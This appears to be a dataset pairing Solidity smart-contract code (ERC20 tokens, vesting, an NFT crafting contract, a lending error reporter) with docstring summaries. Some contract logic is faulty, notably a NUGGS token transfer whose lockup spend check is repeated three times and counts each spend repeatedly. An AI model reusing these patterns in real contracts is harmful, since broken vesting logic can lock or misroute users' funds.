require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
contract NUGGS is ERC20, Ownable {
mapping(address => bool) controllers;
constructor() ERC20("NUGGS", "NUGGS") {
_mint(address(0xB1aCd7f40a13022f0DD458769aD555FB99615d10), 40000000 ether); // Team locked-up addresses
_mint(address(0xe4fb481f367bf2f181b7aa96Be4E7E0ec38566aD), 40000000 ether);
_mint(address(0x2af8f06bEc08a910d9aE1540fd09A6Bf1dcBC344), 40000000 ether);
_mint(address(0x6ac5DEd5906C5eBe69ad00151f199bBf637C4707), 40000000 ether);
_mint(address(0x384244a320DC34a396B997820ceD4B58B60C9a9F), 40000000 ether);
_mint(address(0x37D00a895ca9d8ce4B7C0624A0B0c27F8145489D), 200000000 ether); // Treasury
}
function mint(address to, uint256 amount) external {
require(controllers[msg.sender], "Only controllers can mint");
_mint(to, amount);
}
function burn(address from, uint256 amount) external {
require(controllers[msg.sender], "Only controllers can burn");
_burn(from, amount);
}
function addController(address controller) external onlyOwner {
controllers[controller] = true;
}
function removeController(address controller) external onlyOwner {
controllers[controller] = false;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
|
* @dev Moves `amount` of tokens from `sender` to `recipient`. This internal function is equivalent to {transfer}, and can be used to e.g. implement automatic token fees, slashing mechanisms, etc. Emits a {Transfer} event. Requirements: - `from` cannot be the zero address. - `to` cannot be the zero address. - `from` must have a balance of at least `amount`./ Lockup is over
|
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (from == address(0xB1aCd7f40a13022f0DD458769aD555FB99615d10) || from == address(0xe4fb481f367bf2f181b7aa96Be4E7E0ec38566aD)
|| from == address(0x2af8f06bEc08a910d9aE1540fd09A6Bf1dcBC344) || from == address(0x6ac5DEd5906C5eBe69ad00151f199bBf637C4707)
|| from == address(0x384244a320DC34a396B997820ceD4B58B60C9a9F)) {
require(block.timestamp > 1681603200, "Cannot withdraw yet, 1 year lockup");
if (block.timestamp > 1776297600){
require(amount + spent[from] < (lockupAnnualSpend * 3), "Spend too high");
spent[from] += amount;
require(amount + spent[from] < (lockupAnnualSpend * 2), "Spend too high");
spent[from] += amount;
require(amount + spent[from] < lockupAnnualSpend, "Spend too high");
spent[from] += amount;
}
}
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
| 12,237,227
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./full_match/42220/0x194f6811Ac5F2FaC8c02eAfBd70567c8597C1B69/sources/contracts/token/ImpactLabsVestingImplementation.sol
|
* @notice Transfers an amount of PACTs from this contract to impactLabs address @param _amount amount of the transaction/
|
function transferToImpactLabs(uint256 _amount) internal nonReentrant {
if (_amount > 0) {
require(
PACT.balanceOf(address(this)) >= _amount,
"ImpactLabsVesting::transferToImpactLabs: ERR_REWARD_TOKEN_BALANCE"
);
PACT.safeTransfer(impactLabs, _amount);
}
emit Claimed(_amount);
}
| 16,324,919
|
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./partial_match/1/0xEa5eDEF1169713C425ce57Cf5c154D732b1B7af6/sources/contracts/core/RcaShieldBase.sol
|
* @notice Grabs full underlying balance to make frontend fetching much easier./
|
function uBalance() external view returns (uint256) {
return _uBalance();
}
| 2,777,717
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./full_match/80001/0x9b12f48A2C998a2Fe010db54bc45f814eF1f78b0/sources/project:/contracts/WHAPcoin.sol
|
remainder is just added to liquidityAmount
|
uint256 remainder = fee % 2;
| 844,625
|
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pragma solidity ^0.4.20;
/**
* Standard Interface for ERC20 Contract
*/
contract IERC20 {
function totalSupply() public constant returns (uint _totalSupply);
function balanceOf(address _owner) public constant returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) constant public returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/**
* Checking overflows for various operations
*/
library SafeMathLib {
/**
* Issue: Change to internal constant
**/
function minus(uint a, uint b) internal constant returns (uint) {
assert(b <= a);
return a - b;
}
/**
* Issue: Change to internal constant
**/
function plus(uint a, uint b) internal constant returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
}
/**
* @title Ownable
* @notice The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @notice The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @notice Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @notice Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
}
contract HasAddresses {
address teamAddress = 0xb72D3a827c7a7267C0c8E14A1F4729bF38950887;
address advisoryPoolAddress = 0x83a330c4A0f7b2bBe1B463F7a5a5eb6EA429E981;
address companyReserveAddress = 0x6F221CFDdac264146DEBaF88DaaE7Bb811C29fB5;
address freePoolAddress = 0x108102b4e6F92a7A140C38F3529c7bfFc950081B;
}
contract VestingPeriods{
uint teamVestingTime = 1557360000; // GMT: Thursday, 9 May 2019 00:00:00
uint advisoryPoolVestingTime = 1541721600; // Human time (GMT): Friday, 9 November 2018 00:00:00
uint companyReserveAmountVestingTime = 1541721600; // Human time (GMT): Friday, 9 November 2018 00:00:00
}
contract Vestable {
uint defaultVestingDate = 1526428800; // timestamp after which transfers will be enabled, Wednesday, 16 May 2018 00:00:00
mapping(address => uint) vestedAddresses ; // Addresses vested till date
bool isVestingOver = false;
function addVestingAddress(address vestingAddress, uint maturityTimestamp) internal{
vestedAddresses[vestingAddress] = maturityTimestamp;
}
function checkVestingTimestamp(address testAddress) public constant returns(uint){
return vestedAddresses[testAddress];
}
function checkVestingCondition(address sender) internal returns(bool) {
uint vestingTimestamp = vestedAddresses[sender];
if(vestingTimestamp == 0){
vestingTimestamp = defaultVestingDate;
}
return now > vestingTimestamp;
}
}
/**
* @title ENKToken Token
* @notice The ERC20 Token.
*/
contract ENKToken is IERC20, Ownable, Vestable, HasAddresses, VestingPeriods {
using SafeMathLib for uint256;
uint256 public constant totalTokenSupply = 1500000000 * 10**18;
uint256 public burntTokens;
string public constant name = "Enkidu"; // Enkidu
string public constant symbol = "ENK"; // ENK
uint8 public constant decimals = 18;
mapping (address => uint256) public balances;
//approved[owner][spender]
mapping(address => mapping(address => uint256)) approved;
function ENKToken() public {
uint256 teamPoolAmount = 420 * 10**6 * 10**18; // 420 million ENK
uint256 advisoryPoolAmount = 19 * 10**5 * 10**18; // 1.9 million ENK
uint256 companyReserveAmount = 135 * 10**6 * 10**18; // 135 million ENK
uint256 freePoolAmmount = totalTokenSupply - teamPoolAmount - advisoryPoolAmount; // 1.5 billion - ( 556.9 million )
balances[teamAddress] = teamPoolAmount;
balances[freePoolAddress] = freePoolAmmount;
balances[advisoryPoolAddress] = advisoryPoolAmount;
balances[companyReserveAddress] = companyReserveAmount;
emit Transfer(address(this), teamAddress, teamPoolAmount);
emit Transfer(address(this), freePoolAddress, freePoolAmmount);
emit Transfer(address(this), advisoryPoolAddress, advisoryPoolAmount);
emit Transfer(address(this), companyReserveAddress, companyReserveAmount);
addVestingAddress(teamAddress, teamVestingTime); // GMT: Thursday, 9 May 2019 00:00:00
addVestingAddress(advisoryPoolAddress, advisoryPoolVestingTime); // Human time (GMT): Friday, 9 November 2018 00:00:00
addVestingAddress(companyReserveAddress, companyReserveAmountVestingTime); // Human time (GMT): Friday, 9 November 2018 00:00:00
}
function burn(uint256 _value) public {
require (balances[msg.sender] >= _value); // Check if the sender has enough
balances[msg.sender] = balances[msg.sender].minus(_value);
burntTokens += _value;
emit BurnToken(msg.sender, _value);
}
function totalSupply() constant public returns (uint256 _totalSupply) {
return totalTokenSupply - burntTokens;
}
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint256 _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].minus(_value); // Subtract from the sender
balances[_to] = balances[_to].plus(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
/**
* @notice Send `_value` tokens to `_to` from your account
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success){
require(checkVestingCondition(msg.sender));
_transfer(msg.sender, _to, _value);
return true;
}
/**
* @notice Send `_value` tokens to `_to` on behalf of `_from`
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(checkVestingCondition(_from));
require (_value <= approved[_from][msg.sender]); // Check allowance
approved[_from][msg.sender] = approved[_from][msg.sender].minus(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* @notice Approve `_value` tokens for `_spender`
* @param _spender The address of the sender
* @param _value the amount to send
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
require(checkVestingCondition(_spender));
if(balances[msg.sender] >= _value) {
approved[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
return false;
}
/**
* @notice Check `_value` tokens allowed to `_spender` by `_owner`
* @param _owner The address of the Owner
* @param _spender The address of the Spender
*/
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return approved[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event BurnToken(address _owner, uint256 _value);
}
|
* @notice Check `_value` tokens allowed to `_spender` by `_owner` @param _owner The address of the Owner @param _spender The address of the Spender/
|
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return approved[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event BurnToken(address _owner, uint256 _value);
| 13,026,523
|
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// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
import 'hardhat/console.sol';
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '../base/ERC721FullUpgradeable.sol';
import '../base/SignatureVerifier.sol';
import '../erc721/Worlds.sol';
import '../erc721/Degens.sol';
import '../utility/DegenData.sol';
import '../utility/DystopianData.sol';
import '../utility/DystopianDataFactory.sol';
import '../utility/WorldTreasury.sol';
import '../lib/Strings.sol';
// Upgradeable contract containing the Dystopian ERC721 tokens.
// Each token gets its own DystopianData contract.
contract Dystopians is ERC721FullUpgradeable, SignatureVerifier {
using CountersUpgradeable for CountersUpgradeable.Counter;
using Strings for string;
// the cost to rename a dystopian
uint256 renameCost;
// the costs and skill requiremets to craft of each class of dystopian.
mapping(uint16 => CraftRules) craftRules;
// metadata for each Dystopian token including the address of the token's data contract.
mapping(uint256 => DystopianToken) tokenMeta;
// we need to know the worlds contract address to pass to the data contract.
// we also use it to fetch token addresses from the world's treasury.
Worlds worlds;
// we veify the player's stats to mint a new dystopian.
Degens degens;
// the dystopian data factory is responsible for deploying new DystopianData contracts.
DystopianDataFactory dystopianDataFactory;
// payments (mint fees) are sent to this address
address payable payments;
string private constant tokenNotRegisteredError = 'Token not registered: ';
string private constant insufficientBalanceError = 'Not enough tokens to craft: ';
// emitted when a dystopian is minted
event DystopianCreated(uint256 indexed id, uint256 indexed degen, address indexed owner, uint16 class, address dataContract);
// emitted when a dystopian class is registered
event DystopianRegistered(uint16 class);
function initialize(
uint256 _renameCost,
address _dystopianDataFactory,
address _worlds,
address _degens,
address _payments
) public initializer {
_initialize('Dystopians', 'DYSTOPIANS');
renameCost = _renameCost;
worlds = Worlds(_worlds);
degens = Degens(_degens);
payments = payable(_payments);
dystopianDataFactory = DystopianDataFactory(_dystopianDataFactory);
}
// set the address of the worlds contract.
// because they have a circular dependency, we choose to initialize Dystopians first.
function setCraftRules(CraftRules[] calldata _rules) external onlyOwner {
for (uint256 i = 0; i < _rules.length; i++) {
craftRules[_rules[i].class] = _rules[i];
emit DystopianRegistered(_rules[i].class);
}
}
// craft (mint) new dystopian token and create a new DystopianData contract for it
// the world ensures that
function craftDystopian(
uint256 _degen,
uint256 _degenWorld,
uint16 _class,
Dystopian calldata _dystopianData,
bytes calldata _worldSignature
) external payable returns (uint256) {
verifySignature(_degenWorld, _degen, _class, _dystopianData, _worldSignature);
console.log('signature verified');
address _degenOwner = degens.ownerOf(_degen);
require(_degenOwner == msg.sender, 'Only the degen owner can craft a dystopian.');
console.log('degen owner verified');
CraftRules memory _classRules = craftRules[_class];
require(_classRules.recipe.tokens.length > 0, 'Invalid class.');
console.log('class verified');
// check if allowances are enough to mint
for (uint256 i = 0; i < _classRules.recipe.tokens.length; i++) {
Token memory _token = _classRules.recipe.tokens[i];
console.log('checking allowance for token', _token.name, 'must be greater than', _token.amount);
// fetch the token address from the world's treasury
WorldTreasury _worldTreasury = worlds.getWorldTreasury(_degenWorld);
if (bytes(_token.name).length == 0) {
// recipe requires eth
require(msg.value >= _token.amount, 'Not enough ETH to craft.');
// transfer ETH to the payments contract
payments.transfer(address(this).balance); // transfer entire balance to the payments address
} else {
// recipe requires token
IERC20 _tokenContract = _worldTreasury.getRegisteredToken(_token.name);
require(address(_tokenContract) != address(0), tokenNotRegisteredError.concatenate(_token.name));
uint256 _allowance = _tokenContract.allowance(msg.sender, address(this));
console.log('allowance for token', _token.name, ':', _allowance);
require(
_allowance >= _token.amount,
insufficientBalanceError.concatenate(_token.name).concatenate(uint2str(_token.amount))
);
// transfer tokens to the payments contract
bool _transferSuccessful = _tokenContract.transferFrom(msg.sender, payments, _token.amount);
require(_transferSuccessful, 'Failed to transfer tokens.');
console.log('transferred token', _token.name, _token.amount);
}
console.log('finished token transfer');
}
// mint the token
uint256 _id = super.safeMint(msg.sender);
// create the data contract
DystopianData _data = dystopianDataFactory.deployDystopianData(
_id,
_classRules.name,
renameCost,
address(worlds),
address(this),
payments
);
// save the dystopian data for the first time
// no signature required
_data.updateDystopianData(_degenWorld, _dystopianData, abi.encode(0));
// store the data contract
tokenMeta[_id] = DystopianToken(_class, _data);
// emit the event
emit DystopianCreated(_id, _degen, msg.sender, _class, address(_data));
return _id;
}
function verifySignature(
uint256 _degenWorld,
uint256 _degen,
uint16 _class,
Dystopian calldata _dystopianData,
bytes calldata _worldSignature
) private view {
address _worldOwner = worlds.ownerOf(_degenWorld);
require(_worldOwner != address(0), 'no one owns this world');
bytes32 _nextHash = getNextHash(_degen, _dystopianData, _class);
(address _signer, , ) = getSigner(_nextHash, _worldSignature);
console.log('signer:', _signer, 'world owner:' , _worldOwner);
require(_signer == _worldOwner, 'the owner of the world must sign Dystopian mints');
}
// get the DystopianToken metadata for a given dystopian
function getDystopianToken(uint256 _id) external view returns (DystopianToken memory) {
return tokenMeta[_id];
}
// get the rules for crafting a class of dystopians
function getCraftRules(uint16 _class) external view returns (CraftRules memory) {
return craftRules[_class];
}
// get the next hash for the world to sign.
// only valid for one mint.
function getNextHash(
uint256 _degen,
Dystopian calldata _dystopianData,
uint16 _class
) public view returns (bytes32) {
// hash the token count + the address so that every hash for every mint gets a unique hash.
uint256 _tokenCount = tokenIdCounter.current();
return keccak256(abi.encode(_tokenCount, _degen, _class, _dystopianData, address(this)));
}
}
// metadata about each dystopian including rarity, generation & seed
struct DystopianToken {
uint16 class;
// the data contract deployed for each dystopian
DystopianData dataContract;
}
struct CraftRules {
// the class of the dystopian to be crafted
uint16 class;
// the recipe (token cost) for crafting this dystopian.
Inventory recipe;
// the name of the class
string name;
}
// dreadful
function uint2str(uint256 _i) pure returns (string memory _uintAsString) {
if (_i == 0) {
return '0';
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len;
while (_i != 0) {
k = k - 1;
uint8 temp = (48 + uint8(_i - (_i / 10) * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
|
store the data contract
|
tokenMeta[_id] = DystopianToken(_class, _data);
| 5,346,034
|
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pragma solidity ^0.4.24;
contract PriceOracleInterface {
/**
* @notice Gets the price of a given asset
* @dev fetches the price of a given asset
* @param asset Asset to get the price of
* @return the price scaled by 10**18, or zero if the price is not available
*/
function assetPrices(address asset) public view returns (uint);
}
contract ErrorReporter {
/**
* @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary
* contract-specific code that enables us to report opaque error codes from upgradeable contracts.
**/
event Failure(uint error, uint info, uint detail);
enum Error {
NO_ERROR,
OPAQUE_ERROR, // To be used when reporting errors from upgradeable contracts; the opaque code should be given as `detail` in the `Failure` event
UNAUTHORIZED,
INTEGER_OVERFLOW,
INTEGER_UNDERFLOW,
DIVISION_BY_ZERO,
BAD_INPUT,
TOKEN_INSUFFICIENT_ALLOWANCE,
TOKEN_INSUFFICIENT_BALANCE,
TOKEN_TRANSFER_FAILED,
MARKET_NOT_SUPPORTED,
SUPPLY_RATE_CALCULATION_FAILED,
BORROW_RATE_CALCULATION_FAILED,
TOKEN_INSUFFICIENT_CASH,
TOKEN_TRANSFER_OUT_FAILED,
INSUFFICIENT_LIQUIDITY,
INSUFFICIENT_BALANCE,
INVALID_COLLATERAL_RATIO,
MISSING_ASSET_PRICE,
EQUITY_INSUFFICIENT_BALANCE,
INVALID_CLOSE_AMOUNT_REQUESTED,
ASSET_NOT_PRICED,
INVALID_LIQUIDATION_DISCOUNT,
INVALID_COMBINED_RISK_PARAMETERS,
ZERO_ORACLE_ADDRESS,
CONTRACT_PAUSED
}
/*
* Note: FailureInfo (but not Error) is kept in alphabetical order
* This is because FailureInfo grows significantly faster, and
* the order of Error has some meaning, while the order of FailureInfo
* is entirely arbitrary.
*/
enum FailureInfo {
ACCEPT_ADMIN_PENDING_ADMIN_CHECK,
BORROW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED,
BORROW_ACCOUNT_SHORTFALL_PRESENT,
BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
BORROW_AMOUNT_LIQUIDITY_SHORTFALL,
BORROW_AMOUNT_VALUE_CALCULATION_FAILED,
BORROW_CONTRACT_PAUSED,
BORROW_MARKET_NOT_SUPPORTED,
BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED,
BORROW_NEW_BORROW_RATE_CALCULATION_FAILED,
BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED,
BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED,
BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED,
BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED,
BORROW_ORIGINATION_FEE_CALCULATION_FAILED,
BORROW_TRANSFER_OUT_FAILED,
EQUITY_WITHDRAWAL_AMOUNT_VALIDATION,
EQUITY_WITHDRAWAL_CALCULATE_EQUITY,
EQUITY_WITHDRAWAL_MODEL_OWNER_CHECK,
EQUITY_WITHDRAWAL_TRANSFER_OUT_FAILED,
LIQUIDATE_ACCUMULATED_BORROW_BALANCE_CALCULATION_FAILED,
LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET,
LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET,
LIQUIDATE_AMOUNT_SEIZE_CALCULATION_FAILED,
LIQUIDATE_BORROW_DENOMINATED_COLLATERAL_CALCULATION_FAILED,
LIQUIDATE_CLOSE_AMOUNT_TOO_HIGH,
LIQUIDATE_CONTRACT_PAUSED,
LIQUIDATE_DISCOUNTED_REPAY_TO_EVEN_AMOUNT_CALCULATION_FAILED,
LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_BORROWED_ASSET,
LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET,
LIQUIDATE_NEW_BORROW_RATE_CALCULATION_FAILED_BORROWED_ASSET,
LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_BORROWED_ASSET,
LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET,
LIQUIDATE_NEW_SUPPLY_RATE_CALCULATION_FAILED_BORROWED_ASSET,
LIQUIDATE_NEW_TOTAL_BORROW_CALCULATION_FAILED_BORROWED_ASSET,
LIQUIDATE_NEW_TOTAL_CASH_CALCULATION_FAILED_BORROWED_ASSET,
LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET,
LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET,
LIQUIDATE_FETCH_ASSET_PRICE_FAILED,
LIQUIDATE_TRANSFER_IN_FAILED,
LIQUIDATE_TRANSFER_IN_NOT_POSSIBLE,
REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_CONTRACT_PAUSED,
REPAY_BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED,
REPAY_BORROW_NEW_BORROW_RATE_CALCULATION_FAILED,
REPAY_BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED,
REPAY_BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED,
REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED,
REPAY_BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED,
REPAY_BORROW_TRANSFER_IN_FAILED,
REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE,
SET_ASSET_PRICE_CHECK_ORACLE,
SET_MARKET_INTEREST_RATE_MODEL_OWNER_CHECK,
SET_ORACLE_OWNER_CHECK,
SET_ORIGINATION_FEE_OWNER_CHECK,
SET_PAUSED_OWNER_CHECK,
SET_PENDING_ADMIN_OWNER_CHECK,
SET_RISK_PARAMETERS_OWNER_CHECK,
SET_RISK_PARAMETERS_VALIDATION,
SUPPLY_ACCUMULATED_BALANCE_CALCULATION_FAILED,
SUPPLY_CONTRACT_PAUSED,
SUPPLY_MARKET_NOT_SUPPORTED,
SUPPLY_NEW_BORROW_INDEX_CALCULATION_FAILED,
SUPPLY_NEW_BORROW_RATE_CALCULATION_FAILED,
SUPPLY_NEW_SUPPLY_INDEX_CALCULATION_FAILED,
SUPPLY_NEW_SUPPLY_RATE_CALCULATION_FAILED,
SUPPLY_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
SUPPLY_NEW_TOTAL_CASH_CALCULATION_FAILED,
SUPPLY_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,
SUPPLY_TRANSFER_IN_FAILED,
SUPPLY_TRANSFER_IN_NOT_POSSIBLE,
SUPPORT_MARKET_FETCH_PRICE_FAILED,
SUPPORT_MARKET_OWNER_CHECK,
SUPPORT_MARKET_PRICE_CHECK,
SUSPEND_MARKET_OWNER_CHECK,
WITHDRAW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED,
WITHDRAW_ACCOUNT_SHORTFALL_PRESENT,
WITHDRAW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
WITHDRAW_AMOUNT_LIQUIDITY_SHORTFALL,
WITHDRAW_AMOUNT_VALUE_CALCULATION_FAILED,
WITHDRAW_CAPACITY_CALCULATION_FAILED,
WITHDRAW_CONTRACT_PAUSED,
WITHDRAW_NEW_BORROW_INDEX_CALCULATION_FAILED,
WITHDRAW_NEW_BORROW_RATE_CALCULATION_FAILED,
WITHDRAW_NEW_SUPPLY_INDEX_CALCULATION_FAILED,
WITHDRAW_NEW_SUPPLY_RATE_CALCULATION_FAILED,
WITHDRAW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
WITHDRAW_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,
WITHDRAW_TRANSFER_OUT_FAILED,
WITHDRAW_TRANSFER_OUT_NOT_POSSIBLE
}
/**
* @dev use this when reporting a known error from the money market or a non-upgradeable collaborator
*/
function fail(Error err, FailureInfo info) internal returns (uint) {
emit Failure(uint(err), uint(info), 0);
return uint(err);
}
/**
* @dev use this when reporting an opaque error from an upgradeable collaborator contract
*/
function failOpaque(FailureInfo info, uint opaqueError) internal returns (uint) {
emit Failure(uint(Error.OPAQUE_ERROR), uint(info), opaqueError);
return uint(Error.OPAQUE_ERROR);
}
}
contract InterestRateModel {
/**
* @notice Gets the current supply interest rate based on the given asset, total cash and total borrows
* @dev The return value should be scaled by 1e18, thus a return value of
* `(true, 1000000000000)` implies an interest rate of 0.000001 or 0.0001% *per block*.
* @param asset The asset to get the interest rate of
* @param cash The total cash of the asset in the market
* @param borrows The total borrows of the asset in the market
* @return Success or failure and the supply interest rate per block scaled by 10e18
*/
function getSupplyRate(address asset, uint cash, uint borrows) public view returns (uint, uint);
/**
* @notice Gets the current borrow interest rate based on the given asset, total cash and total borrows
* @dev The return value should be scaled by 1e18, thus a return value of
* `(true, 1000000000000)` implies an interest rate of 0.000001 or 0.0001% *per block*.
* @param asset The asset to get the interest rate of
* @param cash The total cash of the asset in the market
* @param borrows The total borrows of the asset in the market
* @return Success or failure and the borrow interest rate per block scaled by 10e18
*/
function getBorrowRate(address asset, uint cash, uint borrows) public view returns (uint, uint);
}
contract EIP20Interface {
/* This is a slight change to the ERC20 base standard.
